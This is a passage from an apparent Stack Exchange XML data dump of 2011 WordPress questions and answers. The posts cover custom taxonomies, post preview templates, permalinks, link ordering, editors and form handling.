?&amp;gt;&amp;lt;/span&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note: you may also want to check the other &lt;code&gt;loop-foobar.php&lt;/code&gt; template files.&lt;/p&gt;&#xA;" OwnerUserId="3966" LastActivityDate="2011-04-27T16:55:05.057" CommentCount="3" />
  <row Id="15767" PostTypeId="1" CreationDate="2011-04-27T17:45:05.753" Score="0" ViewCount="46" Body="&lt;p&gt;On wordpress.barrycarter.info, the links sidebar is in alphabetical &#xA;order by category (&quot;My ... Stuff&quot;), which looks weird for &quot;My other &#xA;stuff&quot;. How can I order the link categories myself? &lt;/p&gt;&#xA;" OwnerUserId="4849" LastActivityDate="2011-08-28T13:36:10.517" Title="Links in nonalphabetic order" Tags="&lt;links&gt;" AnswerCount="1" />
  <row Id="15768" PostTypeId="2" ParentId="15767" CreationDate="2011-04-27T17:51:03.347" Score="0" ViewCount="" Body="&lt;p&gt;This is in a widget? Or coded into the sidebar?&#xA;&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_list_bookmarks&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Function_Reference/wp_list_bookmarks&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;is the code for showing your blogroll links, with orderby parameters.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are particular about the order of categories, and category_orderby isn't cutting it, you can use wp_list_bookmarks numerous times, each time showing only one category&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are using the widget,maybe look for a different plugin with widget, or consider hardcoding this?&lt;/p&gt;&#xA;" OwnerUserId="3429" LastActivityDate="2011-04-27T17:51:03.347" CommentCount="3" />
  <row Id="15769" PostTypeId="1" CreationDate="2011-04-27T18:08:15.863" Score="1" ViewCount="122" Body="&lt;p&gt;Is there any advantage to putting a GET/POST form on a WP page vs just &#xA;a plain HTML page? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Specific example: &#xA;&lt;a href=&quot;http://42daafca38dea1ba732ef809e91bd7cb.metar.db.94y.info/&quot; rel=&quot;nofollow&quot;&gt;http://42daafca38dea1ba732ef809e91bd7cb.metar.db.94y.info/&lt;/a&gt; lets you &#xA;enter SQL queries and displays the results. Would moving this to WP &#xA;do anything for me? &lt;/p&gt;&#xA;" OwnerUserId="4849" LastActivityDate="2011-08-19T21:32:27.677" Title="WP good for GET/POST forms?" Tags="&lt;forms&gt;" AnswerCount="1" CommentCount="2" />
  <row Id="15770" PostTypeId="1" AcceptedAnswerId="15773" CreationDate="2011-04-27T18:51:23.283" Score="1" ViewCount="49" Body="&lt;p&gt;I'm looking for a way to allow post editors to see two different previews of the posts they are writing. On the front, the same post can appear it two different sections of the website (each shows a different amount of custom fields). How can I create two preview links (for ex : &quot;Preview with template 1&quot; and &quot;Preview with template 2&quot;) ?&lt;/p&gt;&#xA;" OwnerUserId="1381" LastActivityDate="2011-04-27T19:44:07.740" Title="Is it possible to have two different previews of a post (ie. two templates for one post)?" Tags="&lt;posts&gt;&lt;template&gt;&lt;customization&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="1" />
  <row Id="15771" PostTypeId="1" AcceptedAnswerId="15780" CreationDate="2011-04-27T19:29:24.670" Score="1" ViewCount="83" Body="&lt;p&gt;Is WP a good HTML editor? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;A friend of mine wants to create HTML pages, but doesn't know &#xA;HTML. Can WP become a WYSIWIG HTML editor via the appropriate plugin? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;He'll be formatting images, wanting to place text in specific &#xA;locations, etc. Nothing too fancy, but not just text either. &lt;/p&gt;&#xA;" OwnerUserId="4849" LastActivityDate="2011-06-27T06:46:11.940" Title="WP as an HTML editor" Tags="&lt;visual-editor&gt;" AnswerCount="4" />
  <row Id="15772" PostTypeId="1" CreationDate="2011-04-27T19:36:17.813" Score="1" ViewCount="69" Body="&lt;p&gt;I have an older WordPress site that is going away but I am taking the content from the site and importing it into my new WordPress site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To do this, I used the WordPress Export tool, located in my dashboard, to create an export file that included all content, including images. The export process created the export file, which I successfully imported into my other WordPress site. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I noticed that if an imported post that resulted from a search or linked in the sidebar had a thumbnail, the URL linked to that thumbnail linked back to the original WordPres site - The site were I created the export file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I fix this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you&lt;/p&gt;&#xA;" OwnerUserId="4493" LastActivityDate="2011-05-06T06:07:53.523" Title="Imported thumbnails have incorrect URL" Tags="&lt;urls&gt;&lt;import&gt;&lt;image&gt;&lt;export&gt;" AnswerCount="2" />
  <row Id="15773" PostTypeId="2" ParentId="15770" CreationDate="2011-04-27T19:44:07.740" Score="1" ViewCount="" Body="&lt;p&gt;The easiest way to solve this is to create a special template file for previews, that will show the post twice in the different layouts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The following code will use the &lt;code&gt;single-preview.php&lt;/code&gt; template file if it exists:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter( 'single_template', 'wpse15770_single_template' );&#xA;function wpse15770_single_template( $templates )&#xA;{&#xA;    if ( is_preview() ) {&#xA;        $templates = locate_template( array( 'single-preview.php', $templates ) );&#xA;    }&#xA;    return $templates;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you want to show the same post twice you must remember to add &lt;code&gt;rewind_posts()&lt;/code&gt; in your &lt;code&gt;single-preview.php&lt;/code&gt; template file, otherwise you can't loop over the posts again.&lt;/p&gt;&#xA;" OwnerUserId="8" LastActivityDate="2011-04-27T19:44:07.740" />
  <row Id="15774" PostTypeId="1" CreationDate="2011-04-27T19:55:00.023" Score="0" ViewCount="36" Body="&lt;p&gt;How can I archive a comment so that it doesn't appear new, without &#xA;moving it to spam or trash? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The comment is interesting, so I want to keep it for myself, but not &#xA;approve it. &lt;/p&gt;&#xA;" OwnerUserId="4849" LastActivityDate="2011-08-27T20:35:33.993" Title="Archive comment w/o moving to spam/trash" Tags="&lt;comments&gt;" AnswerCount="2" CommentCount="2" />
  <row Id="15775" PostTypeId="1" AcceptedAnswerId="15781" CreationDate="2011-04-27T19:55:46.030" Score="1" ViewCount="84" Body="&lt;p&gt;I'm working on building some custom taxonomies for a custom post type I created.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The custom post type is &lt;code&gt;Products&lt;/code&gt;.  For the custom post type &lt;code&gt;Products&lt;/code&gt; I've created a taxonomy of &lt;code&gt;Category&lt;/code&gt;.  Now Under &lt;code&gt;Category&lt;/code&gt;, I'd like to have a taxonomy of &lt;code&gt;Sub_Category&lt;/code&gt;.  I've created all the taxonomies and set them to hierarchical, but the &lt;code&gt;Sub_Category&lt;/code&gt; tax seems to be relative to the &lt;code&gt;Product&lt;/code&gt; Custom Post Type, NOT the &lt;code&gt;Category&lt;/code&gt; custom taxonomy.  Is there a way to do this?  I saw a screenshot where someone was filling out a taxonomy form for a taxonomy they created and it had an option for PARENT but I could never get that to show up.  How can I choose a PARENT &lt;code&gt;Category&lt;/code&gt; taxonomy on my &lt;code&gt;SubCategory&lt;/code&gt; taxonomy?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is my &lt;code&gt;Category&lt;/code&gt; and &lt;code&gt;SubCategory&lt;/code&gt; taxonomy code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function create_productcategory_taxonomy() {&#xA;    $labels = array(&#xA;        'name' =&amp;gt; _x( 'Categories', 'taxonomy general name' ),&#xA;        'singular_name' =&amp;gt;_x( 'Category', 'taxonomy singular name' ),&#xA;        'search_items' =&amp;gt;  __( 'Search Categories' ),&#xA;        'popular_items' =&amp;gt; __( 'Popular Categories' ),&#xA;        'all_items' =&amp;gt; __( 'All Categories' ),&#xA;        'parent_item' =&amp;gt; null,&#xA;        'parent_item_colon' =&amp;gt; null,&#xA;        'edit_item' =&amp;gt; __( 'Edit Product Category' ),&#xA;        'update_item' =&amp;gt; __( 'Update Product Category' ),&#xA;        'add_new_item' =&amp;gt; __( 'Add New Product Category' ),&#xA;        'new_item_name' =&amp;gt; __( 'New Product Category' ),&#xA;        'separate_items_with_commas' =&amp;gt; __( 'Separate categories with commas' ),&#xA;        'add_or_remove_items' =&amp;gt; __( 'Add or remove product categories' ),&#xA;        'choose_from_most_used' =&amp;gt; __( 'Choose from the most used categories' )&#xA;        );&#xA;&#xA;    register_taxonomy('tf_productcategory', 'tf_products', array (&#xA;        'label' =&amp;gt; __('Product Category'),&#xA;        'labels' =&amp;gt; $labels,&#xA;        'hierarchial' =&amp;gt; true,&#xA;        'show_ui' =&amp;gt; true,&#xA;        'query_var' =&amp;gt; true,&#xA;        'rewrite' =&amp;gt; array( 'slug' =&amp;gt; 'product-category'),&#xA;        )); &#xA;}&#xA;&#xA;function create_product_subcategory_taxonomy() {&#xA;    $labels = array(&#xA;        'name' =&amp;gt; _x( 'SubCategories', 'taxonomy general name' ),&#xA;        'singular_name' =&amp;gt;_x( 'SubCategory', 'taxonomy singular name' ),&#xA;        'search_items' =&amp;gt;  __( 'Search SubCategories' ),&#xA;        'popular_items' =&amp;gt; __( 'Popular SubCategories' ),&#xA;        'all_items' =&amp;gt; __( 'All SubCategories' ),&#xA;        'parent_item' =&amp;gt; __( 'Main Category' ),&#xA;        'parent_item_colon' =&amp;gt; ( 'Main Category:' ),&#xA;        'edit_item' =&amp;gt; __( 'Edit Product SubCategory' ),&#xA;        'update_item' =&amp;gt; __( 'Update Product SubCategory' ),&#xA;        'add_new_item' =&amp;gt; __( 'Add New Product SubCategory' ),&#xA;        'new_item_name' =&amp;gt; __( 'New Product SubCategory' ),&#xA;        'menu_name' =&amp;gt; __( 'SubCategories' )&#xA;        );&#xA;&#xA;    register_taxonomy('tf_productsubcategory', 'tf_products', array (&#xA;        'label' =&amp;gt; __('Product SubCategory'),&#xA;        'labels' =&amp;gt; $labels,&#xA;        'hierarchial' =&amp;gt; true,&#xA;        'show_ui' =&amp;gt; true,&#xA;        'query_var' =&amp;gt; true,&#xA;        'rewrite' =&amp;gt; array( 'slug' =&amp;gt; 'product-subcategory'),&#xA;        )); &#xA;}&#xA;&#xA;add_action( 'init', 'create_productcategory_taxonomy', 0 );&#xA;add_action( 'init', 'create_product_subcategory_taxonomy', 0 );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1414" LastEditorUserId="251" LastEditorDisplayName="" LastEditDate="2011-04-27T21:24:02.690" LastActivityDate="2011-04-27T21:24:02.690" Title="Custom Taxonomy Hierarchy for Custom Post Types (eg Categories and Subcategories)" Tags="&lt;custom-post-types&gt;&lt;custom-taxonomy&gt;" AnswerCount="1" />
  <row Id="15776" PostTypeId="2" ParentId="15774" CreationDate="2011-04-27T20:03:52.183" Score="0" ViewCount="" Body="&lt;p&gt;Your best bet might be simply to leave the comment in the moderation queue?&lt;/p&gt;&#xA;" OwnerUserId="3966" LastActivityDate="2011-04-27T20:03:52.183" CommentCount="1" />
  <row Id="15777" PostTypeId="1" AcceptedAnswerId="16057" CreationDate="2011-04-27T20:48:49.793" Score="0" ViewCount="80" Body="&lt;p&gt;Im trying to hide some fields on public BP profiles, it is possible?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance.&lt;/p&gt;&#xA;" OwnerUserId="2011" LastActivityDate="2011-04-30T20:59:58.390" Title="A hook to hide custom born date on public profile view?" Tags="&lt;buddypress&gt;" AnswerCount="1" />
  <row Id="15778" PostTypeId="2" ParentId="14383" CreationDate="2011-04-27T20:55:06.913" Score="1" ViewCount="" Body="&lt;p&gt;The answer is here:&#xA;&lt;a href=&quot;http://wordpress.stackexchange.com/questions/5874/domain-redirect-in-wordpress-multisite&quot;&gt;Domain redirect in Wordpress multisite&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You need to use the domain mapping plugin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/wordpress-mu-domain-mapping/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/wordpress-mu-domain-mapping/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A must read &lt;a href=&quot;http://ottopress.com/2010/wordpress-3-0-multisite-domain-mapping-tutorial/&quot; rel=&quot;nofollow&quot;&gt;http://ottopress.com/2010/wordpress-3-0-multisite-domain-mapping-tutorial/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3797" LastActivityDate="2011-04-27T20:55:06.913" CommentCount="1" />
  <row Id="15779" PostTypeId="1" CreationDate="2011-04-27T21:07:24.403" Score="0" ViewCount="114" Body="&lt;p&gt;For the last 2 weeks my WordPress blog has been acting screwy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am no longer able to make any changes to previous posts and although a new post will publish, the screen will just hang there for hours and hours never letting me know the post was actually published.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I try to update a post, it will just hang there as well. No errors, just always saying Contacting kidsstuffworld.com .....&lt;/p&gt;&#xA;&#xA;&lt;p&gt;but the changes will never go through.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When the problem began I thought maybe it was time for an update.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I upgraded to 3.1.1&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Same problem&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I, deactivated all my plug-ins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not sure when but sometime around here, I started to get new errors randomly when I try to view my site it goes to a page that says&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot;Error Establishing a Database Connection&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This either means that the username and password information in your wp-config.php file is incorrect or we can't contact the database server at localhost. This could mean your host's database server is down.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Are you sure you have the correct username and password?&lt;/li&gt;&#xA;&lt;li&gt;Are you sure that you have typed the correct hostname?&lt;/li&gt;&#xA;&lt;li&gt;Are you sure that the database server is running?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;If you're unsure what these terms mean you should probably contact your host. If you still need help you can always visit the WordPress Support Forums.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;I have cleaned my cache &amp;amp; restarted 100s of times&#xA;Switched computers&#xA;Switched internet programs - Safari to Firefox&#xA;I have changed my database password that the error is referring to &amp;amp; since changed it back since I still got the error&#xA;Repaired tables in my database &#xA;Uploaded fresh files for all Wordpress folders&#xA;Had my Host Server try to look at it&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Nothing works ...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm at a loss and hoping someone here can help me. I don't get the Error message all the time but the next time I see it I will post it in its entirety. I don't think it is a real error since it goes away on its own??? but I sure would like it to stop and I would also like to be able to edit posts again&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.kidsstuffworld.com&quot; rel=&quot;nofollow&quot;&gt;http://www:kidsstuffworld.com&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="4941" LastEditorUserId="251" LastEditorDisplayName="" LastEditDate="2011-04-28T05:01:08.757" LastActivityDate="2011-04-28T06:08:12.160" Title="Unable to edit posts/error establishing a database connection" Tags="&lt;posts&gt;&lt;database&gt;" AnswerCount="0" CommentCount="2" />
  <row Id="15780" PostTypeId="2" ParentId="15771" CreationDate="2011-04-27T21:17:18.483" Score="1" ViewCount="" Body="&lt;p&gt;WordPress is a CMS (Content Management System) and not an editor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That being said WordPress does have a simple WYSIWIG style editor built into it for formatting the content that you want to post.&lt;/p&gt;&#xA;" OwnerUserId="199" LastActivityDate="2011-04-27T21:17:18.483" CommentCount="1" />
  <row Id="15781" PostTypeId="2" ParentId="15775" CreationDate="2011-04-27T21:22:21.803" Score="2" ViewCount="" Body="&lt;p&gt;Hierarchical refers to the terms relation to each other not the taxonomies relation to another taxonomy.  Non hierarchical taxonomies are like tags they don't have parents or children.  Hierarchical taxonomies means that the terms can have parents and children.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;taxonomy = category&lt;/p&gt;&#xA;&#xA;&lt;p&gt;category terms:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;blue products (&lt;strong&gt;&lt;em&gt;parent term&lt;/em&gt;&lt;/strong&gt;)&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;light blue products (child term)&lt;/li&gt;&#xA;&lt;li&gt;dark blue products (child term)&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;red products (&lt;strong&gt;&lt;em&gt;parent term&lt;/em&gt;&lt;/strong&gt;)&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;dark red products (child term)&lt;/li&gt;&#xA;&lt;li&gt;light red products (child term)&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Also in your code above change:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;'hierarchial' =&amp;gt; true,&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;'hierarchical' =&amp;gt; true,&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="251" LastActivityDate="2011-04-27T21:22:21.803" CommentCount="5" />
  <row Id="15782" PostTypeId="1" AcceptedAnswerId="15784" CreationDate="2011-04-27T21:24:02.613" Score="0" ViewCount="36" Body="&lt;p&gt;The following blog of okcupid had this interesting feature that shows a &quot;share this&quot; window only when you reach the end of the post:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://blog.okcupid.com/index.php/what-if-there-were-not-so-many-white-people/&quot; rel=&quot;nofollow&quot;&gt;http://blog.okcupid.com/index.php/what-if-there-were-not-so-many-white-people/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How is it possible to do this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="161" LastActivityDate="2011-04-27T22:10:19.187" Title="How to make a share-this window drop when reaching end of post?" Tags="&lt;facebook&gt;&lt;sharing&gt;" AnswerCount="1" CommentCount="2" />
  <row Id="15783" PostTypeId="2" ParentId="15771" CreationDate="2011-04-27T21:31:02.073" Score="0" ViewCount="" Body="&lt;p&gt;The WordPress editor uses TinyMCE for the rich text fields. if this is just to produce static html, maybe you can &lt;a href=&quot;http://tinymce.moxiecode.com/&quot; rel=&quot;nofollow&quot;&gt;download the full TinyMCE&lt;/a&gt; and put it on a local static page for them.&lt;/p&gt;&#xA;" OwnerUserId="4771" LastActivityDate="2011-04-27T21:31:02.073" CommentCount="1" />
  <row Id="15784" PostTypeId="2" ParentId="15782" CreationDate="2011-04-27T21:41:28.803" Score="0" ViewCount="" Body="&lt;p&gt;They've attached a function to the scroll event of the page, it looks at the scroll position of the document relative to its height to detect when you've reached the bottom, in which case they animate the flyout div.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;jQuery has some easy methods for this: &lt;code&gt;$(document).height();&lt;/code&gt;, &lt;code&gt;$(document).scrollTop();&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;edit: these may help &lt;a href=&quot;http://stackoverflow.com/questions/2837741/jquery-detecting-reaching-bottom-of-scroll-doesnt-work-only-detects-the-top&quot;&gt;one&lt;/a&gt; &lt;a href=&quot;http://stackoverflow.com/questions/5036850/how-to-detect-page-scroll-to-a-certain-point-in-jquery&quot;&gt;two&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="4771" LastEditorUserId="4771" LastEditorDisplayName="" LastEditDate="2011-04-27T22:10:19.187" LastActivityDate="2011-04-27T22:10:19.187" />
  <row Id="15785" PostTypeId="2" ParentId="15588" CreationDate="2011-04-27T21:55:33.720" Score="0" ViewCount="" Body="&lt;p&gt;Possibly related: &lt;a href=&quot;http://wordpress.stackexchange.com/questions/9532/aggregate-summaries-of-posts-of-different-blogs-in-multisite-instance&quot;&gt;Aggregate Summaries of Posts of Different Blogs in Multisite Instance&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="3797" LastActivityDate="2011-04-27T21:55:33.720" />
  <row Id="15786" PostTypeId="1" CreationDate="2011-04-27T22:15:13.650" Score="0" ViewCount="104" Body="&lt;p&gt;I seem to have had something affect my self-hosted wordpress blog so that when I try to connect to Twitter to authenticate to use Simple Twitter Connect, it just loads a page of my blog and doesn't redirect to Twitter's authentication stuff. I see the parameters in the URL that should be making things redirect off to Twitter's page when I click the Authenticate to Twitter buttons, but nothing but a page from my blog loads (the front index page).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't think this is a problem in Simple Twitter Connect, as I tried another twitter plug-in as well and got similar results. (Edit: I originally thought the second twitter plugin was Twitter Tools. It wasn't, and unfortunately, I don't remember which one it was now.). I also ran into a similar problem with the License plugin, when I tried to change the default Creative Commons license.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also don't think this is a problem with either my local computer or my network, as I've tried to authenticate from my work computer in the office as well. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;As far as I have seen, everything else on my blog is working correctly. I have had plugins like Bulletproof Security and WP Firewall installed, and I'm wondering if maybe one of them locked down the wordpress features that STC is trying to use. I looked in the options though and nothing seemed to jump out as the cause. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I did some searching and found a response Otto made at one point to someone who was describing a very similar problem but he was saying he didn't know what could cause this, so I'm hoping someone here will have some insight, or at least suggestions for what else would be worth to look at. &lt;/p&gt;&#xA;" OwnerUserId="4912" LastEditorUserId="4912" LastEditorDisplayName="" LastEditDate="2011-05-06T14:54:30.700" LastActivityDate="2011-05-06T14:54:30.700" Title="How to re-enable parameter redirection (to allow Simple Twitter Connect to authenticate with Twitter)?" Tags="&lt;redirect&gt;&lt;plugin-redirection&gt;" CommentCount="5" />
  <row Id="15787" PostTypeId="2" ParentId="15771" CreationDate="2011-04-27T22:25:49.917" Score="0" ViewCount="" Body="&lt;p&gt;Your question although written well seems a bit vaugue on reading, wordpress comes with its own WYSIWYG editor (as the others have said.. TinyMCE)..  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;TinyMCE inside wordpress (and anywhere else as standard) has both html and WYSIWYG (visual) editing, for me TinyMCE in wp is ok, if i need to edit anything i always do it in html mode anyway, however there is a plugin for ckeditor for wordpress (never tried it) which has some good reviews &lt;a href=&quot;http://wordpress.org/extend/plugins/ckeditor-for-wordpress/&quot; rel=&quot;nofollow&quot; title=&quot;ckeditor for wordpress&quot;&gt;ckeditor for wordpress&lt;/a&gt;, only used it when custom building none wp sites but its a learning curve, nice editor though..&lt;/p&gt;&#xA;" OwnerUserId="3710" LastActivityDate="2011-04-27T22:25:49.917" />
  <row Id="15788" PostTypeId="1" CreationDate="2011-04-27T23:12:43.467" Score="1" ViewCount="211" Body="&lt;p&gt;I know that's a common problem with the custom-post-types, but I'm stuck there.  I created a custom-post-type named 'cpt_soins'. I have no page with similar name (singular/plural)...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried with&#xA; &lt;code&gt;'rewrite' =&amp;gt; array('slug' =&amp;gt; 'nos-soins-et-services');&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;when I registered my custom post type in order to display a more pretty url than &quot;/?cpt_soins=soins-visage-a-la-rose&quot;... But I'm stuck with a 404 error.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want this ugly permalink: &quot;http://localhost:8888/wordpress/?cpt_soins=soins-visage-a-la-rose&quot; ---&gt; transformed into: &quot;http://localhost:8888/wordpress/nos-soins-et-services/soins-visage-a-la-rose&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know i can use the &quot;add_rewrite_rule() with regex&quot;. But I did'nt get working. Could you give me the code please for the functions.php in order to get my permalink ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks a lot&lt;/p&gt;&#xA;" OwnerUserId="4944" LastEditorUserId="251" LastEditorDisplayName="" LastEditDate="2011-04-28T02:11:57.120" LastActivityDate="2011-05-28T17:54:42.853" Title="Custom post types and permalinks : What a mess !" Tags="&lt;custom-post-types&gt;&lt;permalinks&gt;" AnswerCount="4" />
  <row Id="15789" PostTypeId="2" ParentId="15788" CreationDate="2011-04-27T23:18:26.710" Score="0" ViewCount="" Body="&lt;p&gt;It looks like you're using the default permalink setup. You need to enable URL rewriting with mod_rewrite to get 'pretty' permalinks. Read the codex &lt;a href=&quot;http://codex.wordpress.org/Using_Permalinks&quot; rel=&quot;nofollow&quot;&gt;permlinks page&lt;/a&gt; for more info.&lt;/p&gt;&#xA;" OwnerUserId="4771" LastActivityDate="2011-04-27T23:18:26.710" CommentCount="8" />
  <row Id="15790" PostTypeId="1" AcceptedAnswerId="16137" CreationDate="2011-04-27T23:19:43.807" Score="1" ViewCount="249" Body="&lt;p&gt;I have a frontend form with a bunch of input. My requirements force me to use a custom shortcode to create the form. I have already tested a page with that shortcode.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's my :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;form name=&quot;myform&quot; method=&quot;post&quot; action=&quot;&amp;lt;?php echo str_replace( '%7E', '~', $_SERVER['REQUEST_URI']); ?&amp;gt;&quot; enctype=&quot;multipart/form-data&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Based on this, it should open up the same page (and it did). However, when I hit submit, I got 404 on that very same URL. Is there any solution?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE #1&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I try different route, using add_action('init'):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action('init', 'mbro1_intercept_form_input');&#xA;function mbro1_intercept_form_input()&#xA;{&#xA;    if( !(isset($_POST['action_code']) &amp;amp;&amp;amp; $_POST['action_code'] == 'mbro_intercept_form_input') )&#xA;        return &quot;&quot;;&#xA;    if( isset( $_POST['submit'] ) )&#xA;    {&#xA;        //do my code here&#xA;        wp_redirect( get_permalink(35) );//page that has [shortcode]&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This successfully run my intended action on submit. But! upon redirection, it still got 404. I don't know what is wrong.&lt;/p&gt;&#xA;" OwnerUserId="127" LastEditorUserId="251" LastEditorDisplayName="" LastEditDate="2011-04-28T02:07:28.310" LastActivityDate="2011-05-01T22:52:34.350" Title="Custom form, shortcode, and submit handler" Tags="&lt;shortcode&gt;&lt;form&gt;&lt;front-end&gt;" AnswerCount="3" CommentCount="2" FavoriteCount="0" />
  <row Id="15791" PostTypeId="1" CreationDate="2011-04-27T23:46:31.687" Score="1" ViewCount="37" Body="&lt;p&gt;I'm looking into using Wordpress as a basic content management system. I'm quite confused about what determines what content gets displayed when and where. For a simple example, I installed a theme and now I see something like this at the bottom of my &quot;page&quot;: &lt;em&gt;By admin on April 26, 2011 | Edit&lt;/em&gt; There's also a comment box down there and I didn't expect one to be there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It appears that all I have to do is edit my page.php file to change this behavior but I'm a little baffled as to why the content delivery is so tightly coupled to the theme. I can make these changes now but if I decide to install a different theme I'm back at square one. It seems I should just be able to change a few settings to determine if I want those items (above) displayed when I create a &quot;page&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I see there are many ways that content delivery is determined. Here's a quick list:  &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Settings within the Wordpress control panel. (Widgets, Menus, etc)  &lt;/li&gt;&#xA;&lt;li&gt;PHP code within your theme files.  &lt;/li&gt;&#xA;&lt;li&gt;Custom post types.  &lt;/li&gt;&#xA;&lt;li&gt;Plugins  &lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;So here's the question I've come to. Are there any simple rules or guidelines to help me determine what I might need to edit or customize when it comes to determining what gets displayed where?&lt;/p&gt;&#xA;" OwnerUserId="4576" LastEditorUserId="4576" LastEditorDisplayName="" LastEditDate="2011-04-28T00:01:42.490" LastActivityDate="2011-07-27T08:31:24.627" Title="Determining What Content Gets Displayed" Tags="&lt;customization&gt;" AnswerCount="1" />
  <row Id="15792" PostTypeId="2" ParentId="11906" CreationDate="2011-04-27T23:49:53.697" Score="-1" ViewCount="" Body="&lt;p&gt;I have a similar situation and the &lt;code&gt;global $post&lt;/code&gt; solution do the trick. :)&lt;/p&gt;&#xA;" OwnerUserId="4946" LastActivityDate="2011-04-27T23:49:53.697" CommentCount="1" />
  <row Id="15793" PostTypeId="2" ParentId="15788" CreationDate="2011-04-27T23:51:11.593" Score="0" ViewCount="" Body="&lt;p&gt;You need to flush the rewrite rules after changing the 'rewrite' arg. This can be done most easily by accessing WP Admin -&gt; Settings -&gt; Permalinks.&lt;/p&gt;&#xA;" OwnerUserId="205" LastActivityDate="2011-04-27T23:51:11.593" CommentCount="4" />
